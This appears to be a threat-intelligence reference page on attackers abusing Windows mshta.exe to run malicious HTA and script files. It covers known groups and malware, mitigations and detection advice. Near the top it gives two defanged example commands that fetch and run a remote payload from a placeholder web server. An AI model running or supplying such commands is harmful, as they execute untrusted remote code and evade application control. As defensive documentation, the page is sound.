System Binary Proxy Execution: Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code [1] [2] [3] [4] [5]

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. [6] HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. [7]

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. [8]

ID: T1218.005
Sub-technique of:  T1218
Tactic: Defense Evasion
Platforms: Windows
Permissions Required: User
Defense Bypassed: Application control, Digital Certificate Validation
Contributors: @ionstorm; Ricardo Dias; Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
Version: 2.0
Created: 23 January 2020
Last Modified: 11 March 2022

Procedure Examples

ID Name Description
G0016 APT29

APT29 has use mshta to execute malicious scripts on a compromised host.[9]

G0050 APT32

APT32 has used mshta.exe for code execution.[10][11]

S0414 BabyShark

BabyShark has used mshta.exe to download and execute applications from a remote server.[12]

C0015 C0015

During C0015, the threat actors used mshta to execute DLLs.[13]

G0142 Confucius

Confucius has used mshta.exe to execute malicious VBScript.[14]

G1006 Earth Lusca

Earth Lusca has used mshta.exe to load an HTA script within a malicious .LNK file.[15]

G0046 FIN7

FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.[5]

G0047 Gamaredon Group

Gamaredon Group has used mshta.exe to execute malicious HTA files.[16]

G0100 Inception

Inception has used malicious HTA files to drop and execute malware.[17]

G0094 Kimsuky

Kimsuky has used mshta.exe to run malicious scripts on the system.[18][12][19][20]

S0250 Koadic

Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence.[21][22]

G0032 Lazarus Group

Lazarus Group has used mshta.exe to execute HTML pages downloaded by initial access documents.[23][24]

G0140 LazyScripter

LazyScripter has used mshta.exe to execute Koadic stagers.[22]

S0455 Metamorfo

Metamorfo has used mshta.exe to execute a HTA payload.[25]

G0069 MuddyWater

MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.[26][27]

G0129 Mustang Panda

Mustang Panda has used mshta.exe to launch collection scripts.[28]

S0228 NanHaiShu

NanHaiShu uses mshta.exe to load its program and files.[29]

C0016 Operation Dust Storm

During Operation Dust Storm, the threat actors executed JavaScript code via mshta.exe.[1]


POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts.[26]

S0147 Pteranodon

Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server.[16]

S0379 Revenge RAT

Revenge RAT uses mshta.exe to run malicious scripts on the system.[30]

S0589 Sibot

Sibot has been executed via MSHTA application.[31]

G1008 SideCopy

SideCopy has utilized mshta.exe to execute a malicious hta file.[32]

G0121 Sidewinder

Sidewinder has used mshta.exe to execute malicious payloads.[33][34]

G0127 TA551

TA551 has used mshta.exe to execute malicious payloads.[35]

S0341 Xbash

Xbash can use mshta for executing scripts.[36]


ID Mitigation Description
M1042 Disable or Remove Feature or Program

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.

M1038 Execution Prevention

Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the mshta.exe application and to prevent abuse.[37]


ID Data Source Data Component Detects
DS0017 Command Command Execution

Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.

DS0022 File File Creation

Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious

DS0029 Network Traffic Network Connection Creation

Monitor for newly constructed network connections that are sent or received by untrusted hosts.

DS0009 Process Process Creation

Use process monitoring to monitor the execution and arguments of mshta.exe.


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